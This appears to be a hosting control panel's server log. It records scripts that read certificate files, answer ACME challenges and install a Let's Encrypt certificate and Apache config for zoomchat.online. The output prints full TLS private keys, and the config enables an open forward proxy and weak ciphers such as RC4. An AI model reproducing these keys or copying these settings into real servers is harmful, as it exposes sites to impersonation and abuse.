    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-05 09:18:14: 

PUT: /tmp/pkp483669

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-05 09:18:14: 

chmod 755 /tmp/pkp483669; /tmp/pkp483669; rm /tmp/pkp483669

2026-05-05 09:18:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt	5378
68:44:74:0c:b2:cf:f3:7e:46:5b:b9:74:ba:77:ff:11

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBWlfIuuxs1Izyxfdc2O173AwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA1MDgxOTQyWhcNMjYwODAzMDgxOTQxWjAcMRowGAYDVQQD
ExFvc25vdnliaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAILYpkJtb1R2hJ4cpK2qDVLaeAtTqzPLy3q2Me/i9LcX2APg/5mvT9w6brmY
Odu7JzyVSBTeZL2idpNR2GOLf8nnuFm2npMzl8pfGU94P2yYrIYI33WGofUZFD4N
NePxYcxgSrMA/PM2GDHgrt1y44gyqvAFFwcmzZZN71oQyx6j9k3o3SkIt1uPjREB
y8Qa0FXi9QtGKjAEPLA2m76DA6ge+W4dmRk7xSm81JavhyVijtcDZSNMxkgIk7TV
BVBtm3lFHSJ0uyMyKGWEYrGXcfwtdJ1gRevOcpQMm2fD4oLwxuKC9UfPhd/ZUmnr
viWyIodjyOXEp/GIgZpH2jOgPuECAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSv
SOUJivVJ/F2VMRpBy2iCm6/8ujAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm92eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3Z5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy80OS5jcmwwggEMBgorBgEEAdZ5
AgQCBIH9BIH6APgAdgDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAA
AZ33bkX5AAAEAwBHMEUCIQDToGVNQJ9nnTHdiL+Zq1c2Az5JWghD63I6h6knQ3L4
IQIgX2yCMEDFHcPzBBxpa/oVnTnuuIoM4XfkzJW9yCGCVYIAfgAai51rD/6/gbR5
OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAAAZ33bkbdAAgAAAUADyUE8AQDAEcwRQIh
AOdgSKPAoGWvBMj3TLj+5lqy37217WVdjUtahjS8EybaAiAfx8ZuCNhWMpOKFLXK
23JIISzG6xp9GGHnQRSUazweWDANBgkqhkiG9w0BAQsFAAOCAQEAIxrXEp/JhCxL
nrJ5z5kg8f2xXzvNcuqSGYOwF+2M2wNxvweK0KrVcHa1FGHvn5p9IGbI0whFQDEX
bLKHN6Ob3eFvEGTBhaaUDtVLJBt0gBGh2aTd2iiGn5GaINdAJejJx+lxxYoB9Jfe
ZUpxa9wNZ92t1L+zPfnThb2xbjiW/HzGDe4SgAwdFr66lnTx1q8Q7GCfW3xdrS+Z
ht+Rq/ZPTUDN6Pj4/1Q9Z1/C6NTVky323p0kuoUsShrodOGOQuz05SlGcaOAi30q
RhoPx8yBa/BFBiiMFt+AD+Ti2peG1NbObtvR3Gu730g6s5XtZgJPFWPVStbkpfPo
43WdmRMZiw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCC2KZCbW9UdoSe
HKStqg1S2ngLU6szy8t6tjHv4vS3F9gD4P+Zr0/cOm65mDnbuyc8lUgU3mS9onaT
Udhji3/J57hZtp6TM5fKXxlPeD9smKyGCN91hqH1GRQ+DTXj8WHMYEqzAPzzNhgx
4K7dcuOIMqrwBRcHJs2WTe9aEMseo/ZN6N0pCLdbj40RAcvEGtBV4vULRiowBDyw
Npu+gwOoHvluHZkZO8UpvNSWr4clYo7XA2UjTMZICJO01QVQbZt5RR0idLsjMihl
hGKxl3H8LXSdYEXrznKUDJtnw+KC8MbigvVHz4Xf2VJp674lsiKHY8jlxKfxiIGa
R9ozoD7hAgMBAAECgf9hyYLiZ4xUa17MFkwHHe0R3ARAiCniw+PbtF5jEWgiOHJQ
M88nuZrNfpNRpoVXGj+bSgBc2E13C/viOGtSZJGpq2uzCzA9LXRmNzxgkABBK2OE
Uw1DICMvXFbXKQ2lamMqAqzRAA61v9pv1viDYmF5taQv98iF/RHtysD0EVORdEFZ
u96noTLd5cXmmj/W3oO5XMs+ldC1WFcVCHg1ZOzMtTPfcey+nNJYQUtbpBFuCkoX
ZZipLgdRn65ZKaGdA2dzPfVafd3rTEio0gWMpnO4C6deKTaU7xOy43QFMaYNqU3u
eWCijTsWrL46KV40vs/NW6Ta8nnnta0bvpOqR0ECgYEAuKv3o81jaJNBEC3TmH+q
iVe5EKosllhWfEJub/MWHWUSkZ0aW6kaQxDXZ3P7ADuf7GtSf2aUGorz7cSzCNQI
KIKRj8mhZNCril73pWGN+exRkqUo6hEBe6D/RniYV1qindaUXnl1+ve0nIf0Pf3G
ecZ4qpoOmJ5Ck2hfCPdKf6ECgYEAtWKCxuiL0OKFTNyoHEqmTTImWwtHIXbfoHDZ
wuh5Kts9zIW7GkiRCQ+GVgdDoVeys9y+fJhSclfzkshhrruQrOzVNZrKmIzC66JA
ZTstv269CnbMalFwhjVRZZ1dsIr530YSOCkAAMY7p52omG6S+b1cMzXN1zaXQvj+
vrUid0ECgYABl5Hx+pJR03srHYoGdYtN1dDFoQHzZd2RAq2bD3hwVm+7i6QviByu
2VVSEgDm9pyhWCeE66h5Nht2QEze1Z0gZEfG+pEGonnoHnt6FIY50ly9q+jXY8Ak
hbXNsLp3flOKktACpH9s43fOJanoYui0Ig7mQZ/AlxSx2qN/G0qsIQKBgQCUUFzG
8FeDEfYVh0ge+htJe/xI7cvX3S+2LRCigxywolzB44e+Uh/l3L/nkEEIqIEC+Tj5
AERKIwiTuS3GhrAh9fXQwyVt34tyyVUGcYFSyuXgrIsxVC5CT06jXC3DsZ/npZA4
Q64w8+bLg+rb2W5srx248gHCPG0q4hbLMalhAQKBgHDriQImq/9Em3OTyq1caCUg
/jlz4fR9KgTkf2yvLKIuOXDrOBnT+SKkIcBZ75MC/8ZGVvg5JagKdXlPs/Fd4dUg
pgB+jTzcfJ/TF2iqozbQgSqgbsG5pgQGx4jG1sU4IklDHB0e+OuFkUiFC0Yxl1dC
MGWURaScGbZf9M9E6SRd
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-06 06:00:03: Establishing a connection
2026-05-06 06:00:05: Establishing a connection
2026-05-06 06:00:06: 

PUT: /tmp/pkp734733

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-06 06:00:07: 

chmod 755 /tmp/pkp734733; /tmp/pkp734733; rm /tmp/pkp734733

2026-05-06 06:00:07: 


1


2026-05-06 06:00:09: Establishing a connection
2026-05-06 06:00:10: 

PUT: /tmp/pkp611294

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > vsFmRRsaVXpsg_9phrMs2UJwJOLaATCwD1dpuPM43NY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vsFmRRsaVXpsg_9phrMs2UJwJOLaATCwD1dpuPM43NY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vsFmRRsaVXpsg_9phrMs2UJwJOLaATCwD1dpuPM43NY
cat > 3fAlAEuQwjAzN7MLGWQlsfPpIlTVpFiq22iTYUHsvVM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3fAlAEuQwjAzN7MLGWQlsfPpIlTVpFiq22iTYUHsvVM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3fAlAEuQwjAzN7MLGWQlsfPpIlTVpFiq22iTYUHsvVM


2026-05-06 06:00:11: 

chmod 755 /tmp/pkp611294; /tmp/pkp611294; rm /tmp/pkp611294

2026-05-06 06:00:11: 




2026-05-06 06:00:18: Establishing a connection
2026-05-06 06:00:20: 

PUT: /tmp/pkp155826

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm vsFmRRsaVXpsg_9phrMs2UJwJOLaATCwD1dpuPM43NY
rm 3fAlAEuQwjAzN7MLGWQlsfPpIlTVpFiq22iTYUHsvVM


2026-05-06 06:00:21: 

chmod 755 /tmp/pkp155826; /tmp/pkp155826; rm /tmp/pkp155826

2026-05-06 06:00:21: 




2026-05-06 06:00:21: Establishing a connection
2026-05-06 06:00:22: 

PUT: /tmp/pkp854119

#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt

cat > $temp_file <<'endmsg'
63:99:ac:87:d6:74:51:31:0b:92:40:93:07:5a:16:ac

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBvsHEXo5MCFgGoD4/KZ15GYgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA2MDUwMTQ3WhcNMjYwODA0MDUwMTQ2WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDmR1Ep/LK3/pR35u8h8jKkam58nmJg5NCpZhrnrQkNC7VnfH87EiHc/24tm9fG
hmoTmkqb8iUR//BqTlL+X6xu+jW5p9gBFdrsSJrZkAflXeDUJC3B3ktf7AXhmZik
G4Uxp72gjoMfRFyYC/cN7XvSPr7FHk7ABN/OiNzu6v5KsxK1D5DEwuK+HhxkLLBY
21h1HV06+Ws6Bedo2b82ZfxtJznxQHtwWNClXU6lzBjxSe8PA/zmJEbG/xf6XfRE
iXkzClkmH6ZaZDG19MRi5Yw5CYSR1ZrcnNeqWjkhYZMHo/CwshK3FUW6FYm6Vcjl
9ztlj9UipUlNvQa4fcRvxMiVAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUG/4o
9C3irQBAB9Dd1ln195N8fcMwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmghN3d3cuem9vbWNoYXQub25saW5lgg96b29tY2hh
dC5vbmxpbmUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy8zMy5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ373247
AAAEAwBHMEUCIAP/c60L3+IpI692i6vJ52bMHhPlAjxU3sjBbSoCaGJJAiEA0l1d
S7hfsCQSngnfKGG8TJDWsOtEZ0lKbFdv2JOXRwEAfQBs/lAZQ6heqRa8UtEz5NzJ
HvFBHH0lhCDRc4CeGBjrOgAAAZ3733HmAAgAAAUACjkKPwQDAEYwRAIgD5pwnMJJ
Q0uSl98Enq6K6w5eJDqCoNZ7ySjxDbBYYfgCID6V98vxj4h96Uh+e2N++L7hmrBR
/sxgg4yWusmmYAHDMA0GCSqGSIb3DQEBCwUAA4IBAQBQp+bHkhYxZIigcxUmSLEL
bfajCm/4EUp8h1639zGZAq30VZ9H3QvNue3nic5BpH7EYTiWHuyaTWt06ofNbeMQ
NFoceXjRyFMG5AILBAxREZ5gpJQSJRlrCw6FVn9b7KdivnI3s98YDI0THjXFJmGo
GESGg5TwERhYvHsrKFtP9/CMvU9s1qUuS+7yOdaZXQGamJv3WpfwQ28Ia7ffBIjm
YHxSelt4oqsRSYTedAnM2PanpDLVcKb8HPVytMFALOMFanZuGWMt5j+AEendkBa9
xT1okgbzbSh88YzWIkp2yZVXtIBQqxsewwMcAeB++3JGEuDNxzMm82/sts/nh3/O
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDmR1Ep/LK3/pR3
5u8h8jKkam58nmJg5NCpZhrnrQkNC7VnfH87EiHc/24tm9fGhmoTmkqb8iUR//Bq
TlL+X6xu+jW5p9gBFdrsSJrZkAflXeDUJC3B3ktf7AXhmZikG4Uxp72gjoMfRFyY
C/cN7XvSPr7FHk7ABN/OiNzu6v5KsxK1D5DEwuK+HhxkLLBY21h1HV06+Ws6Bedo
2b82ZfxtJznxQHtwWNClXU6lzBjxSe8PA/zmJEbG/xf6XfREiXkzClkmH6ZaZDG1
9MRi5Yw5CYSR1ZrcnNeqWjkhYZMHo/CwshK3FUW6FYm6Vcjl9ztlj9UipUlNvQa4
fcRvxMiVAgMBAAECggEACT49wdxGCzB24qeHG+XLcRc250h55URB+OQOOpQ9kQO8
4hIYpEpvyAhhB90hyIhJgTnCpWb55HKmwomcIgrn57jM3RkhiIzz8Y3fg1Hund8K
YNGGnFRxJ5ZDIoFRDm3usdB3F4Go6IwiAFYN8ltA4AP15yvL2EAfK1HfNmAshAXV
FO41T0gOwnkqd14OYSS4tQh/ad8+hkd0OuVJJIAVc5WP4qJszRGLnWfFJ/f/HF7V
67G7ysIidoxQ9mVrn3ipJH2gN7rc6Py/7eM3+iXyKtVQZsckMPIygztJlDdefei3
eBTP1yIZ3Tttto5JMEFJWpvTxE++WGYON9w1HBeruQKBgQD5zezrk7BytZOWcQ5+
UuProBC3124mPdObYdc3DoN368YLncOx1GKs2mNGNKFwbI/j1BO+nTI50LrovOIz
7IBZXJbX+POCzVayOR3/eB4xASQ1Xj35jazabsHYLvL5kRjfGWtRhMnWu7W3cDeH
ZBQPqb1rbGNY9LeGOY6/RFNCCQKBgQDr/Wq/+JWbzHBiIkQJJaQzi2ramfP+EDBl
/j/1me0dFPFqYkgnTTb1lI4q4ptiSwHBFo80G6bT1/MFcj2SeDQkvt3FP1STnBKX
Rr+zurQfK8gXbAQC+TZSIeYSehKIofNY8Z2mZi2npfUzMbt4xW+QZuMjo3ElhpE6
ulYrvBgFLQKBgQCHOOWLEENvlMLzqPeDgjNGlTr3iXJi2Qz3C5uIfh7Eh6iJGTmZ
xbI0h3M9ybeqN9ocJe0aPdW2XjsPSU/Zc6h2txwghO6sW6MWjryiUc9mD4weJ4m8
0OhExbfA4ok8d0LTYdsqIYtw5eOUDPbCH3aMlAGpaN7OhInj6rxO5Rl8oQKBgF+8
eAEXPMJuxqzZD9bSIXITvi6exEAumyPVaGcfofTpWSL6aiEfjwtD0AUP10+h9D08
BK50BVLtyZZNCTORdj3t/JQXpB0Z9OTP+9dTB92ZalwuItZ9+Y6KWAbo5PnvEYTk
yDsIOr9HcVjqdQ6CskbXpo//r1g05lf33htx/CClAoGAU2JRyjF5dRpyiyhSNf2Q
qh93Zo4qAvlyTKg6cFqFhtKTAtfYKrrSypLkz1AtYaiJf/HUuMScS+BZobwDYZhI
Whe7883cW2hbAiCprHpagUDqDKzEWvNt5PCjADwNmUpEOf9PCo2T+tA0lfg9nAKU
dhzQ88Qk3AuGdR2j6tFh5Sk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-06 06:00:23: 

chmod 755 /tmp/pkp854119; /tmp/pkp854119; rm /tmp/pkp854119

2026-05-06 06:00:23: 


dir=/etc/pki/tls/certs/


2026-05-06 06:00:23: 

PUT: /tmp/pkp473126

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 06:00:24: 

chmod 755 /tmp/pkp473126; /tmp/pkp473126; rm /tmp/pkp473126

2026-05-06 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 2243

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-06 06:00:24: 

PUT: /tmp/pkp256678

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
